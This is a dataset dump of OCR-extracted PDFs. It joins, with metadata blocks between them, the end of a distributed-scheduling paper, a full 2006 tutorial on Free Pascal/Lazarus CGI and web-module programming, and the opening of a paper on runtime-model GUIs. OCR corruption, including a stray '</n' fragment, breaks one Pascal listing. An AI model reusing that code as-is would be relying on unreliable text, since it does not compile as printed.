projects with more than 35 tasks and 10 HRs. On a single machine, the scheduling time is about 13%, faster than through a local network (for less than 4 workers) due to lack of the network latency. It can be further reduced by about 47% by the use of threads instead of processes. However, the computer resources start to be overloaded when the tasks dispatcher and more than 3 processes or more than 5 threads run on the same 4-core processor. Therefore, the ClusterPCs outperforms the LocalPC when more than 3 workers and the usage of threads when more than 7 workers are used.
The experimental results showed that the distributed model is well-balanced. The computational tasks are uniformly splitted among workers. If the number of workers increases, the load spreads over the available PCs. The distributed algorithm scales well, adjusting to the number of workers. Moreover, if any of the workers crashes, its task will be taken over by another worker and the proceeding will be continued. Various complexities of the projects were tested. However in each, the scheduling time was significantly reduced by the distributed calculations, even up to 6% of sequential time. In comparison to the sequential computing, the number of used cores (counted in 100%) was 10 times higher, during scheduling of a project with 30 tasks and 16 HRs by 36 workers.
LITERATURE
|
{"Source-Url": "https://journals.umcs.pl/ai/article/download/3501/pdf", "len_cl100k_base": 5808, "olmocr-version": "0.1.53", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 37583, "total-output-tokens": 7743, "length": "2e12", "weborganizer": {"__label__adult": 0.00027370452880859375, "__label__art_design": 0.00042557716369628906, "__label__crime_law": 0.00046706199645996094, "__label__education_jobs": 0.0029582977294921875, "__label__entertainment": 9.685754776000977e-05, "__label__fashion_beauty": 0.00018203258514404297, "__label__finance_business": 0.0009069442749023438, "__label__food_dining": 0.0003428459167480469, "__label__games": 0.0007834434509277344, "__label__hardware": 0.0031280517578125, "__label__health": 0.0006403923034667969, "__label__history": 0.0004215240478515625, "__label__home_hobbies": 0.000194549560546875, "__label__industrial": 0.0013494491577148438, "__label__literature": 0.00022411346435546875, "__label__politics": 0.0003421306610107422, "__label__religion": 0.0004591941833496094, "__label__science_tech": 0.4267578125, "__label__social_life": 0.00013947486877441406, "__label__software": 0.025421142578125, "__label__software_dev": 0.533203125, "__label__sports_fitness": 0.00028896331787109375, "__label__transportation": 0.0007877349853515625, "__label__travel": 0.0002440214157104492}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 30644, 0.06938]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 30644, 0.43659]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 30644, 0.92976]], "google_gemma-3-12b-it_contains_pii": [[0, 2640, false], [2640, 5989, null], [5989, 9476, null], [9476, 11483, null], [11483, 13294, null], [13294, 16536, null], [16536, 16970, null], [16970, 18716, null], [18716, 22202, null], [22202, 24897, null], [24897, 28117, null], [28117, 30644, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2640, true], [2640, 5989, null], [5989, 9476, null], [9476, 11483, null], [11483, 13294, null], [13294, 16536, null], [16536, 16970, null], [16970, 18716, null], [18716, 22202, null], [22202, 24897, null], [24897, 28117, null], [28117, 30644, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 30644, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 30644, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 30644, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 30644, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 30644, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 30644, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 30644, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 30644, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 30644, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 30644, null]], "pdf_page_numbers": [[0, 2640, 1], [2640, 5989, 2], [5989, 9476, 3], [9476, 11483, 4], [11483, 13294, 5], [13294, 16536, 6], [16536, 16970, 7], [16970, 18716, 8], [18716, 22202, 9], [22202, 24897, 10], [24897, 28117, 11], [28117, 30644, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 30644, 0.2]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
5c358c87448837bd3515390cfffef41297886968
|
Lazarus for the web
Michaël Van Canneyt
February 6, 2006
Abstract
In this article, the support for web programming in Free Pascal/Lazarus is explored. The support is divided in several parts: HTML, Templates, Sessions, HTTP, CGI. Each of these parts is explained, as well as the way in which they cooperate.
1 Introduction
Web programming, and more specifically CGI programming can be done in many languages, and many ways. Obviously, CGI programming can be done in Pascal, but can it also be done in a RAD way, using a GUI IDE? An environment such as Intraweb is not yet available for Lazarus or FPC. However, the basics to create such an environment have been laid down, as will be shown in this article.
The things described here have been developed by members of the FPC team. There exist other components like PSP (Pascal Server Pages) which also allow to develop CGI applications in FPC/Lazarus with little effort. However, the RAD aspect of PSP is largely lacking, and integration with existing technologies in FCL/Lazarus is not one of the goals of PSP. The components presented here have as an explicit design goal that they should integrate with existing components in FPC.
The components to be presented here have been designed with extensibility in mind: they are not supposed to be the end point of development, rather they are the building stones with which a solid web programming environments should be built. Web programming is a broad topic, so there are a lot of components to be covered.
The following section will attempt to explain the various building blocks and how they are currently connected. All units are in the weblaz package, which can be simply installed in the Lazarus IDE.
2 Functional Architecture
The building blocks for web programming are divided in several parts:
HTTP The various aspects of the HTTP protocol are put in this part: classes to represent a HTTP request, and a corresponding HTTP response.
HTML An implementation of a HTML DOM model: this can be used to construct HTML 4.1 compliant documents. A special writer object exists to create valid HTML in a way which hides the DOM behind it.
Sessions an abstract session definition is defined, plus the interaction with the HTTP protocol classes is defined.
Templates Complementary to the HTML DOM model, a template system was developed, allowing to separate application logic from layout. A Small extension to the HTML DOM model was implemented to be able to mix templates with the DOM objects.
HTTPModules These TDataModule descendents allow to program web applications in the Lazarus IDE. There are 2 variants: one for HTML-only, one for more general-purpose requests (such as sending an image or other non-html file).
TContentProducers component classes which can be used on HTTP modules to produce valid HTML in a number of ways, from a number of sources.
CGI Is a set of units which handles all aspects of a CGI application. Basically, it sets up the HTTP request and response objects, and makes sure the response is sent back to the webserver. There is no official RFC for CGI implementations, but the units implement most of the unofficial CGI RFC, plus some apache extensions (wincgi is also planned).
Currently not implemented are units to be able to write Apache loadable Modules, or modules for IIS. Implementation of these units is planned. Also planned is a HTTP server, implemented in Object pascal, which could use modules to handle requests.
The architecture is depicted schematically in figure 1 on page 2. When a client requests a URL that must be handled by the web components, the enclosing application (CGI, Apache Module, Stand-alone server) prepares a pair of request and response instances. Then, it determines what module should handle the request (more about this later). If need be, an instance is created, and the request and response variables are passed to it. When the module has handled the request, the response is sent back to the client.
The HTTPDatamodule class is central in this design: it handles the request. In fact, the class has only one method: HandleRequest.
To handle the request, various descendents of this datamodule have been created, as well as a number of components that make producing HTML from datasets (or just in code) eas-
ier, likewise auxiliary components for session management and handling HTML templates have been provided.
3 Unit structure
The functionality outlined above is distributed along various units, each unit taking a part of the functionality. They are outlined below:
HttpDefs This is the basic unit for HTTP management. It contains the TRequest and TResponse classes. These contain properties for all headers defined in the HTTP 1.1 protocol, plus some auxiliary classes for cookies and uploaded files. The base session definition is also in this unit. The response and request classes are nearly completely self-contained, although many methods can be overridden.
HtmlDefs contains an enumerated type containing all valid HTML 4.1 tags, plus an array describing the various attributes of each of these tags. The HTML entities are also described, and some functionality to transform strange characters to HTML entities is provided.
HtmlElements contains a series of HTML DOM elements: for each HTML tag, a DOM element is defined which has as properties all valid attributes for this tag.
HtmlWriter is a component which allows to produce HTML in a procedural way, mimicking what would be done in e.g. PHP. It constructs a HTML document as defined in the htmlElements unit, which can then be streamed. This allows to write structurally correct HTML. It is used by a lot of the HTML content producers.
fpHttp contains the basic TCustomHTTPModule definition, as well as a factory for registering and creating TCustomHTTPModule instances. It also contains basic definitions for HTTP actions.
WebSession contains a session-aware descendent of TCustomHTTPModule: TSessionHTTPModule, and has functionality to create and maintain sessions using .ini files and cookies.
fpTemplate Template handling support.
fpWeb Contains a version of a general purpose HTML module which can be used in the Lazarus IDE. It’s a descendent of the TSessionHTTPModule class.
custcgi Contains descendent of the general TCustomApplication class, called TCustomCGIApplication, which handles the CGI protocol: it prepares a TRequest variable and a TResponse variable, which it then passes to an abstract HandleRequest method. It has no knowledge of TCustomHTTPModule at all. In principle, using this class, a CGI application can be built.
fpCGI contains a descendent of the TCustomCGIApplication class which will use the HTTP Module factory to create an TCustomHTTPModule instance, depending on the URL with which it was invoked. This is the application class as it is used in the Lazarus IDE.
fpHTML contains various HTML content producers, as well as a TCustomHTTPModule descendent which can only produce HTML content: it cannot be used to send image or other non-html files. This module can be created in the Lazarus IDE.
In the following sections, the base objects will be discussed, and also how they can be used.
4 Request and Response
The `httpdefs` unit contains the basic classes used for web programming. These classes describe the client’s (browser’s) request, and the server’s response to the request. Both response and request consist of 2 parts, namely the headers and the data. Both classes descend from a common ancestor which contains most headers. Similar classes exist in the Delphi websnap package: the names have been kept different, so as to allow future development of descendents of the FPC classes which match the interface of Delphi’s classes.
The following main classes are defined in the `httpdefs` unit:
- **THTTPHeader** The common ancestor of `TRequest` and `TResponse`. For all variables allowed in the HTTP headers, a property with the same name exists. It contains methods for loading all variables from a stream or from a stringlist.
- **TRequest** A descendent of `THTTPHeader` which has properties for cookies, POST or GET method query variables, and properties for handling uploaded files.
- **TResponse** A descendent of `THTTPHeader` which has properties for cookies, and functionality to send the response to the client.
- **TCustomSession** an abstract class which represents a web session: it simply introduces the possibility of storing variables across sessions. This is an abstract class, from which a descendent must be created.
Other than these main classes, the following auxiliary classes exist:
- **TUploadedFile** a `TCollectionItem` descendant representing an uploaded file.
- **TUploadedFiles** a `TCollection` descendant representing the uploaded files. The `Files` property of the `TRequest` class is a `TUploadedFiles` instance.
- **TCookie** a `TCollectionItem` descendant representing a cookie which can be sent to the client. The various fields (expires, secure) for a cookie are implemented as the properties of this collectionitem.
- **TCookies** a `TCollection` descendant representing cookies sent to the client. The `Cookies` property of the `TResponse` class is a `TCookies` instance.
The `TRequest` and `TResponse` classes provide storage for all headers, and can be used as-is. The instantiating routines only need to fill in all properties before passing the `TRequest` on.
To create a response, the most important properties of the `TResponse` class are the following:
- `Property Code: Integer;`
- `Property CodeText: String;`
- `Property ContentStream : TStream;`
- `Property Content : String;`
- `property Contents : TStrings;`
- `property Cookies: TCookies;`
- `Property HeadersSent : Boolean;`
- `Property ContentSent : Boolean;`
The meaning of these properties should be obvious:
**Code** This is the HTTP returncode which should be sent back to the client browser. After the HTTP headers have been sent, this property should no longer be changed. Standard, this is a 200 response code (all OK)
**CodeText** Is the Code in plain text. After the HTTP headers have been sent, this property should no longer be changed.
**Content** the content to be sent to the browser, as a string. Setting this will also set the content of the Contents property.
**Contents** the content to be sent to the browser, as a stringlist. Setting this will also set the Content property.
**Contentstream** a stream whose content should be sent to the client. If this property is set, then both Content and Contents will be ignored; The content of the stream will be sent as-is to the client. This can be used to send images to the browser. The stream instance will be freed of when the request instance is destroyed.
**Cookies** The collection of cookies to be sent back. Changing the cookies after the HTTP headers have been sent has no effect, as the cookie definitions are sent in the HTTP headers.
**HeadersSent** is True if the headers have already been (partially) sent to the client browser.
**ContentSent** is True if the content has already been (partially) sent to the client browser.
Other than these properties, the usual HTTP header properties can be set. Notably, the ContentType property should be set. By default it is set to ‘text/html’, so if something else than HTML is to be sent to the client, this property should be set correctly.
to send the headers, the SendHeaders method can be used. To send the content, the SendContents method can be used: if the headers have not yet been sent they will be sent first.
---
### 5 The TCustomCGIApplication class
The custcgi unit contains a descendent of the TCustomApplication class, called TCustomCGIApplication. This class overrides the various methods of TCustomApplication to handle the parsing of the HTTP variables: It instantiates 2 descendants of TRequest and TResponse, and invokes an abstract HandleRequest method, passing these instances to the method. After the request was handled, the result is sent back to the server. It also overrides the HandleException method, and transforms an exception to a suitable error page.
The main methods in this class are, first of all, the Initialize method:
```pascal
Procedure TCustomCGIApplication.Initialize;
begin
StopOnException:=True;
Inherited;
FRequest:=TCGIRequest.CreateCGI(Self);
InitRequestVars;
FOutput:=TIOStream.Create(iosOutput);
FResponse:=TCGIResponse.CreateCGI(Self,Self.FOutput);
end;
```
As can be seen, a TCGIRequest and TCGIResponse instance are created. The InitRequestVars method handles the parsing of the GET or POST variables. Setting StopOnException to True makes sure that the Run method stops after an exception was caught. (for GUI programs, this is generally set to False)
The DoRun method is very simple:
```pascal
procedure TCustomCGIApplication.DoRun;
begin
HandleRequest(FRequest,FResponse);
If Not FResponse.ContentSent then
begin
FResponse.SendContent;
end;
Terminate;
end;
```
It calls the abstract HandleRequest method. after the request was handled, the content is sent to the webserver, if it was not yet sent.
Actually, this is enough to start programming CGI programs. All that needs to be done in Lazarus is to create a descendent of TCustomCGIApplication.
If the WebLaz package is installed in the Lazarus IDE, it is sufficient to choose ’Custom CGI Application’ from the ’File–New’ dialog. Lazarus then creates a new project file with the following code in it:
```pascal
program dumpcgi;
{$mode objfpc}{$H+}
uses
Classes,SysUtils,httpDefs,custcgi,cgiApp;
Type
TCGIApp = Class(TCustomCGIApplication)
Public
Procedure HandleRequest(ARequest : Trequest; AResponse : TResponse); override;
end;
Procedure TCGIApp.HandleRequest(ARequest : Trequest; AResponse : TResponse);
begin
// Your code here
end;
begin
With TCGIApp.Create(Nil) do
try
Initialize;
Run;
finally
Free;
end;
end.
```
All that needs to be done is to insert the code in HandleRequest, and to use the
ARequest and AResponse instances to create a web page.
The webutil unit contains a method DumpRequest, which can be used to create a HTML page which shows the contents of the request instance:
```pascal
procedure TMyWeb.HandleRequest(ARequest: TRequest;
AResponse: TResponse);
Procedure AddNV(Const N, V : String);
begin
AResponse.Contents.Add('<TR><TD>'+N+'</TD>','<TD>'+V+'</TD></TR>');
end;
Var
I, P : Integer;
N, V : String;
begin
With AResponse.Contents do
begin
BeginUpdate;
Try
Add('<HTML><TITLE>FPC CGI Test page</TITLE><BODY>');
DumpRequest(ARequest,AResponse.Contents);
Add('<H1>CGI environment:</H1>');</n Add('<TABLE BORDER="1">');</n Add('<TR><TD>Name</TD><TD>Value</TD></TR>');
For I:=1 to GetEnvironmentVariableCount do
begin
V:=GetEnvironmentString(I);
P:=Pos('=',V);
N:=Copy(V,1,P-1);
System.Delete(V,1,P);
AddNV(N,V);
end;
Add('</TABLE>');
Add('</BODY></HTML>');
Finally
EndUpdate;
end;
end;
end;
```
The TRequest.Contents is filled with a HTML page that contains the dump of the request, and then the environment variables passed to the CGI script, are dumped in a table. The output of this simple CGI program is shown in figure 2 on page 8. Very simple and small CGI programs can be made like this. It would be very easy to make a file upload or download program with techniques like this: the tedious details of handling the request variables and sending the response are taken care of, so the programmer can concentrate on web logic and creating content. There is little overhead, since the Lazarus streaming system is not included, and there is no definition of a TCustomHTTPModule is not included either.
Figure 2: Simple FPC CGI program - output
Actually sent request headers:
<table>
<thead>
<tr>
<th>Header</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accept-Charset</td>
<td>utf-8, utf-8; q=0.5, *; q=0.5</td>
</tr>
<tr>
<td>Accept-Encoding</td>
<td>gzip, x-datatable, gzip, deflate</td>
</tr>
<tr>
<td>Accept-Language</td>
<td>en</td>
</tr>
<tr>
<td>Connection</td>
<td>Keep-Alive</td>
</tr>
<tr>
<td>User-Agent</td>
<td>Mozilla/5.0 (compatible; Konqueror/3.4; Linux)KHTML/3.4.0 (like Gecko)</td>
</tr>
</tbody>
</table>
Actually sent request headers as text:
```
Accept-Charset: utf-8, utf-8; q=0.5, *; q=0.5
Accept-Encoding: gzip, x-datatable, gzip, deflate
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.4; Linux)KHTML/3.4.0 (like Gecko)
```
Additional headers:
<table>
<thead>
<tr>
<th>Header</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>PathTranslated</td>
<td></td>
</tr>
<tr>
<td>RemoteAddress</td>
<td>127.0.0.1</td>
</tr>
<tr>
<td>RemoteHost</td>
<td></td>
</tr>
<tr>
<td>ScriptName</td>
<td>~michael/web.cgi</td>
</tr>
<tr>
<td>ServerPort</td>
<td>80</td>
</tr>
</tbody>
</table>
CGI environment:
<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>PATH</td>
<td>/usr/local/bin/usr/bin/bin</td>
</tr>
<tr>
<td>HTTP_CONNECTION</td>
<td>Keep-Alive</td>
</tr>
</tbody>
</table>
However, more is needed, and this is where the fphttp unit comes in.
6 Web modules and Web Actions
To create a web system where more functionality is included in 1 binary, and to enable a more RAD approach to web programming, the system of TCustomHTTPModule is set up.
The fphttp unit contains the definition of TCustomHTTPModule:
```pascal
TCustomHTTPModule = Class(TDataModule)
Procedure HandleRequest(ARequest: TRequest;
AResponse: TResponse);virtual;abstract;
end;
```
It also contains the following overloaded procedures:
```pascal
Procedure RegisterHTTPModule
(ModuleClass : TCustomHTTPModuleClass);
Procedure RegisterHTTPModule
(Const ModuleName : String;
ModuleClass : TCustomHTTPModuleClass);
```
These routines register a module in the Module Factory, using TModuleFactory:
```pascal
TModuleFactory = Class
Function FindModule(AModuleName : String) : TModuleItem;
Function ModuleByName(AModuleName : String) : TModuleItem;
Function IndexOfModule(AModuleName : String) : Integer;
Property Modules [Index : Integer]: TModuleItem;
end;
```
This factory keeps a list of registered modules, and has some methods to look up modules. The module definitions are stored in a TModuleItem class:
```pascal
Property ModuleClass : TCustomHTTPModuleClass;
Property ModuleName : String;
```
The purpose of this factory is to be able to create a module on-demand, depending on the URL asked by the client. This is best illustrated by an example. Supposing a CGI application mycgi.cgi is located somewhere on the webserver, and that the URL for the CGI is as follows:
http://www.mylocation.org/cgi-bin/mycgi.bin
Then the following URL could be used to select a particular TCustomHTTPModuleClass:
http://www.mylocation.org/cgi-bin/mycgi.bin/mymodule
If the CGI application detects this URL, then it should use the module factory to locate module mymodule and let this module handle the request. For example, the FPC bug-tracker and contributed units could be implemented in 2 different modules, and united in one CGI application, and selecting one or the other could be done by entering the correct URL:
if the modules were used in an apache loadable module to handle a certain location, then they could be reached by e.g. the following URLs:
http://www.freepascal.org/fpc/bugs
http://www.freepascal.org/fpc/contrib
(Note that support for Apache modules is not yet implemented, it’s only in the planning stage)
This principle of automatically ’dissecting’ an URL to execute a certain action can be extended by introducing webactions (much as in Delphi’s websnap). A webaction is a particular action to be undertaken when a given URL needs to be handled by a module.
The TCustomWebActions class is a collection of TCustomWebAction:
TCustomWebActions = Class(TCollection)
Function ActionByName(AName : String) : TCustomWebAction;
Function FindAction(AName : String): TCustomWebAction;
Function IndexOfAction(AName : String) : Integer;
Property OnGetAction : TGetActionEvent;
Property Actions[Index : Integer] : TCustomWebAction;
end;
The action itself is defined as follows:
TCustomWebAction = Class(TCollectionItem)
Property Name : String;
Property ContentProducer : THTTPContentProducer;
Property Default : Boolean;
Property BeforeRequest : TRequestEvent;
Property AfterResponse : TResponseEvent;
end;
The Name property is used to identify the action. The Default property specifies that this is the action that should be executed if no action could be determined from the URL. The ContentProducer property allows to couple a THTTPContentProducer to the action. This component (which will be explained later) will then handle the request further.
Modules that descend from TCustomHTTPModuleClass have a property of type TCustomWebActions which allows to handle various actions in the same module: actions can be created in the Lazarus Object Inspector, and events can be associated with them to create HTML content.
The advantage of this system is that various actions which are similar can be executed in the same TCustomHTTPModuleClass, without having to code a system to differentiate between various actions.
To illustrate the above, the idea of the bugtracker can be used again. The following URLs would invoke different actions in the module for the bugtracker:
http://www.freepascal.org/cgi-bin/fpc.cgi/bugs/browse
http://www.freepascal.org/cgi-bin/fpc.cgi/bugs/show?id=52
http://www.freepascal.org/cgi-bin/fpc.cgi/bugs/edit?id=53
http://www.freepascal.org/cgi-bin/fpc.cgi/bugs/delete?id=54
The first URL would invoke the bugs module, and invoke the browse action, which would show a list of bugs. The second URL would invoke the show action, which could show 1 record from the bugs, namely the bug with ID 52. The third URL would invoke the edit action for record 52. This could either emit an edit form or apply edits. Lastly, the last entry could delete ID 54.
The following section shows how to use this system in Lazarus, using a TFPWebModule.
7 Modules in Lazarus
In Lazarus, the support for web modules is split out in 2 modules. The first is TFPWebModule. It publishes following properties:
Property Actions : TFPWebActions;
Property ActionVar : String;
Property BeforeRequest : TRequestEvent;
Property OnRequest : TWebActionEvent;
Property AfterResponse : TResponseEvent;
Property OnGetAction : TGetActionEvent;
Property Template : TFPTemplate;
Property OnGetParam : TGetParamEvent;
Property OnTemplateContent : TGetParamEvent;
These properties have the following meaning:
**Actions** This is the collection with the various actions for this module. The actions are of type TFPWebAction.
**ActionVar** The content of this request variable will be used to determine which action should be executed, if the URL does not specify an action. By default the value is ‘Action’. This means that the following URL’s are equivalent, they will execute the same action:
http://www.freepascal.org/cgi-bin/fpc.cgi/bugs/browse
http://www.freepascal.org/cgi-bin/fpc.cgi/bugs/?Action=browse
**BeforeRequest** This event is executed by the module before the request is handled.
**AfterResponse** This event is executed by the module after the request was handled.
**OnGetAction** This event can be set to influence the choice of the action: it should return the name of an action to be executed.
**Template** This property specifies a template which will be parsed and used as the basis for the output, replacing template variables as it goes along. If this property is specified, then the actions are bypassed.
**OnGetParam** This event is executed when a template variable’s value needs to be retrieved.
**OnTemplateContent** This event is executed for the special template variable ‘Content’.
The various actions in the Actions property of TFPWebModule are of type TFPWebAction, a descendent of TFPCustomWebaction. They have the following additional properties:
Property Content : String;
Property Contents : TStrings;
Property OnRequest: TWebActionEvent;
Property Template : TFPFTemplate;
The meaning of these properties is again quite simple:
**Content** Can be set to a string which will be sent back as the HTML page. Can be used for instance for a 'See you again' kind of page when someone e.g. logs out.
**Contents** same as **Content**, only as a stringlist.
**Template** same as **Content** or **Contents**, but this is treated as a template to be parsed.
**OnRequest** this event can be used to handle the request if this action is invoked.
To demonstrate all this, a simple CGI application can be created. To do this, in the **File-New** dialog, the 'CGI application' item can be used. A cgi project will be created, and a FFPWebModule will be created automatically, which will be renamed as TCookieModule. In the 'OnRequest' event handler of the TCookieModule, the following code can be placed:
```pascal
procedure TCookieModule.ShowCookies(Sender: TObject; ARequest: TRequest; AResponse: TResponse; var Handled: Boolean);
Var
C : TCookie;
begin
With AResponse.Contents do
begin
Add('<HTML><TITLE>Cookie test</TITLE><BODY>');
Add('<H1>Cookie test page</H1>');
if (ARequest.Cookie='') then
begin
Add('Your browser did not offer a cookie for this site.');
Add('A cookie named FPCWebCookie has been offered to your');
Add('browser, please accept it.');
C:=AResponse.Cookies.Add;
C.Name:='FPCWebCookie';
C.Value:='FPCRulez';
Add('<P>After accepting the cookie, reload this page');
end
else
begin
Add('Your browser offered a cookie for this site:<BR>');
Add(ARequest.Cookie);
Add('</PRE>');
Add('</HTML>');
end;
Handled:=True;
end;
end;
```
The routine checks whether a cookie FPCWebCookie was offered by the browser. If it was not, then a cookie with this name is added to the response. The code for this is self-explanatory. If a cookie was offered, the content of the cookie is shown.
In the initialization code of the unit, the register call which was automatically inserted by Lazarus, is changed to:
```delphi
initialization
{$I wmcookie.lrs}
RegisterHTTPModule('cookie', TCookieModule);
end.
```
Placing this CGI application (named web.cgi) in a location where the webserver finds it, e.g. the user’s html directory, the cookie module is executed with the following URL:
```
http://localhost/~michael/web.cgi/cookie
```
The first time this is executed, the browser will be offered a cookie. The second time, the value of the cookie will be displayed.
To show the execution of an action, and the meaning of a default action, a new module is created. Two actions are created: One is called ’info’, and it’s `Default` property is set to ‘True’. The other is called ‘info2’. The `Actionvar` property of the main module is set to ‘Do’. Both actions get their ‘Contents’ property filled with some simple HTML code, enough to distinguish which action was execution.
The following URL’s will execute the first (‘info’) action:
```
http://localhost/~michael/web.cgi/tmainmodule/info
http://localhost/~michael/web.cgi/tmainmodule?do=info
http://localhost/~michael/web.cgi/tmainmodule
```
The first one is a URL which points straight to the first action. The second uses the `ActionVar` property of the module. The last one uses the `Default` property of the first module. To execute the second action, the following URLs can be used:
```
http://localhost/~michael/web.cgi/tmainmodule/info2
http://localhost/~michael/web.cgi/tmainmodule?do=info2
```
Obviously, the content produced here is not very exciting. The idea of the above it to illustrate the ideas underpinning the modules and actions.
8 Conclusion
In this first article, the basics of the web support in FPC/Lazarus have been put forward. This is just the surface of what is possible, and only the basics of the web system have been shown : Further possibilities will be explained in subsequent articles: Sessions, use of templates, use of HTML producing components. It should be noted that the web components of FPC/Lazarus are a recent development, and are still under development. The planning for the near future is to implement support for Apache modules and an embedded HTTP server, allowing to write stand-alone webservers. After that, more elaborate support for webservices and webapplications should be implemented.
|
{"Source-Url": "https://www.freepascal.org/~michael/articles/web1/web1.pdf", "len_cl100k_base": 6648, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 26879, "total-output-tokens": 7232, "length": "2e12", "weborganizer": {"__label__adult": 0.00027561187744140625, "__label__art_design": 0.00018799304962158203, "__label__crime_law": 0.00017762184143066406, "__label__education_jobs": 0.00017249584197998047, "__label__entertainment": 3.8743019104003906e-05, "__label__fashion_beauty": 8.678436279296875e-05, "__label__finance_business": 8.618831634521484e-05, "__label__food_dining": 0.0002275705337524414, "__label__games": 0.0003139972686767578, "__label__hardware": 0.0005526542663574219, "__label__health": 0.0001500844955444336, "__label__history": 9.298324584960938e-05, "__label__home_hobbies": 4.285573959350586e-05, "__label__industrial": 0.00018477439880371096, "__label__literature": 9.34600830078125e-05, "__label__politics": 0.00012314319610595703, "__label__religion": 0.0002727508544921875, "__label__science_tech": 0.0012073516845703125, "__label__social_life": 4.494190216064453e-05, "__label__software": 0.00548553466796875, "__label__software_dev": 0.98974609375, "__label__sports_fitness": 0.00015974044799804688, "__label__transportation": 0.00022351741790771484, "__label__travel": 0.0001405477523803711}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 28893, 0.00497]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 28893, 0.50572]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 28893, 0.84443]], "google_gemma-3-12b-it_contains_pii": [[0, 2269, false], [2269, 4300, null], [4300, 7196, null], [7196, 9848, null], [9848, 12490, null], [12490, 14137, null], [14137, 15935, null], [15935, 17441, null], [17441, 19598, null], [19598, 22024, null], [22024, 24404, null], [24404, 26236, null], [26236, 28893, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2269, true], [2269, 4300, null], [4300, 7196, null], [7196, 9848, null], [9848, 12490, null], [12490, 14137, null], [14137, 15935, null], [15935, 17441, null], [17441, 19598, null], [19598, 22024, null], [22024, 24404, null], [24404, 26236, null], [26236, 28893, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 28893, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 28893, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 28893, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 28893, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 28893, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 28893, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 28893, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 28893, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 28893, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 28893, null]], "pdf_page_numbers": [[0, 2269, 1], [2269, 4300, 2], [4300, 7196, 3], [7196, 9848, 4], [9848, 12490, 5], [12490, 14137, 6], [14137, 15935, 7], [15935, 17441, 8], [17441, 19598, 9], [19598, 22024, 10], [22024, 24404, 11], [24404, 26236, 12], [26236, 28893, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 28893, 0.05099]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
4f44552c7b99dd618dbaf766125899f1d7b0b002
|
Rapid GUI Development on Legacy Systems: A Runtime Model-Based Solution
Hui Song, Michael Gallagher, Siobhán Clarke
Lero: The Irish Software Engineering Research Centre
School of Computer Science and Statistics, Trinity College Dublin
College Green, Dublin 2, Ireland
{hui.song, siobhan.clarke}@scss.tcd.ie, gallam10@tcd.ie.
ABSTRACT
Graphical User Interface (GUI) is a common feature for modern software systems, while there are still many legacy systems that do not have GUIs, but only provide text and commands for user interaction. In this paper, we report our experiment on using runtime models to support the rapid, generation-based development of simple GUIs for such legacy systems. We construct runtime models for the target system as an intermediate representations of the underlying system state, and in this way wrap the low-level interaction mechanisms of the legacy systems. After that, we visualize the models with a graphical editor. Due to the causal connection between runtime models and the runtime system state, users can monitor and control the system state by reading and writing the models, and in this way, using the graphical model editor as the GUI of the system. Based on the existing framework for runtime model construction and model visualization, it is possible to achieve the rapid development process of such GUIs in the form of high-level specification and automated generation. We experiment with this idea by using two existing frameworks, SM@RT and GMF, to develop a series of GUIs for an electricity simulation system named GridLAB-D. We also enhance the existing SM@RT framework with cache mechanisms in order to suit GUIs.
Categories and Subject Descriptors
H.5.2 [User Interfaces]: Graphical User Interface (GUI); D.2.m [Software Engineering]: Miscellaneous—Rapid prototyping
General Terms
Design, Management, Experimentations
1. INTRODUCTION
